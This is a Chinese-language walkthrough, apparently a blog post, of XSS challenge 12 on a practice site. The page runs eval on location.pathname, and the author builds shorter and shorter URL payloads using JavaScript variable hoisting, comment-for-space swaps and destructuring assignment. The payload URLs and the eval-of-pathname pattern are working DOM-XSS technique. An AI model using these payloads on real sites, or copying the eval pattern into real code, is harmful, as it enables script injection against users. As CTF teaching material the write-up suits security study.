http://px1624.sinaapp.com/test/;alert(11)//..%2f../xsstest11/

第十二题

题目:http://px1624.sinaapp.com/test/xsstest12/

1
2
3
4
5
6
7
<h3>alert(12) to win</h3>
<br>
<script>
if(/\/xsstest12\//.test(location.pathname.substr(0,17))){
eval(location.pathname)
}
</script>

知识点:

  • JS语言声明变量时变量提升的特性
  • var的另一种赋值方式

新增了一个正则,要求我们的路由前17位必须包含/xsstest12/

1
2
3
4
5
6
// http://px1624.sinaapp.com/test/xsstest12/

location.pathname
"/test/xsstest12/"
location.pathname.length
16

原本路由是16字节,现在要求17个字节,明显是让我们加入一个/来满足JS语法正确

相当于又回到了十一题的我们一开始讨论的情况,就是前面不允许我们加东西,只允许在后面填充,并且要求满足JS语法。

回到了解决xsstest12变量不存在的问题

变量提升特性

通常而言我们知道,一个变量应该先声明,后使用,假如不这样就会被教做人,比如python:

11-0.png

而JS却不是,参考说明

JavaScript 变量的另一个不同寻常的地方是,你可以先使用变量稍后再声明变量而不会引发异常。这一概念称为变量提升;JavaScript 变量感觉上是被“提升”或移到了函数或语句的最前面。但是,提升后的变量将返回 undefined 值。因此在使用或引用某个变量之后进行声明和初始化操作,这个被提升的变量仍将返回 undefined 值。

那么实际上只需要在后面继续声明变量就可以了:

1
/test//xsstest11/alert(23);var xsstest11=1;//..%2f..%2f..%2f..%2f

12-1.png

但是var xsstest12这个地方的空格在URL中会被编码成%20,然后传入JS中。JS是无法解析的。

JS中替代空格,换一下变成注释符/**/,然后补齐路由即可:

1
http://px1624.sinaapp.com/test//xsstest12/alert(23);var/**/xsstest12=1;//..%2f..%2f..%2f..%2f

12-2.png

企图简短payload

当然我们还可以进一步精简payload,比如不注释,而是后面这部分也利用起来变成正则表达式变量进行赋值:

1
2
3
// http://px1624.sinaapp.com/test//xsstest12/alert(23);var/**/xsstest12=/..%2f..%2f..%2f/
location.pathname.length
68

12-3.png

进一步简短,就要从赋值入手了。

var[a]=[1] 解构赋值

非常神奇的赋值方式:

12-4.png

尝试过在各个网站领域 去搜索这种赋值方式,但是没有收获,决定厚着脸皮去问下原题作者:

12-1-0.png

emmm…..

又跟px1624老哥交流了下,发现官方其实有这种赋值方式的说明…………..叫做解构赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//数组
var a, b, rest;
[a, b] = [10, 20];
console.log(a); // 10
console.log(b); // 20
//对象

//甚至可以省略var
({ c, d } = { c: 10, d: 20 });
console.log(c); // 10
console.log(d); // 20

//然后我们省略这个空格,就形成了
var[a,b]=[1,2]
//命令行中可以这么无var赋值,但是测试无法正常变量提升
([c,d]=[3,4])
({e,f}={e:5,f:6})
1
2
3
4
5
6
// http://px1624.sinaapp.com/test//xsstest12/alert(23);var[xsstest12]=[]//..%2f..%2f/

location.pathname
"/test//xsstest12/alert(23);var[xsstest12]=[]//..%2f..%2f/"
location.pathname.length
57

12-5.png

进一步缩短,虽然会运行报错,但是不影响

1
2
3
4
5
6
// http://px1624.sinaapp.com/test//xsstest12/alert(23);var[xsstest12]=/..%2f/

location.pathname
"/test//xsstest12/alert(23);var[xsstest12]=/..%2f/"
location.pathname.length
49

12-6.png

噢..好像是弹12…但是这不重要emmm

参考

https://mp.weixin.qq.com/s/wa1dj-SX0WHhj7aywmq_9g

https://mp.weixin.qq.com/s/MNP1PW0bi0aL7dRr1aa2Tg
https://mp.weixin.qq.com/s/T44dQckTjc0M1loRzTRH0A
https://mp.weixin.qq.com/s/jx-UWFfSPOVPhWLsvGxPcw
https://mp.weixin.qq.com/s/Q976z2ryfkEJQiSyl8aH8g
https://mp.weixin.qq.com/s/Nxjn_SUAfrB-K5z6YdlW8g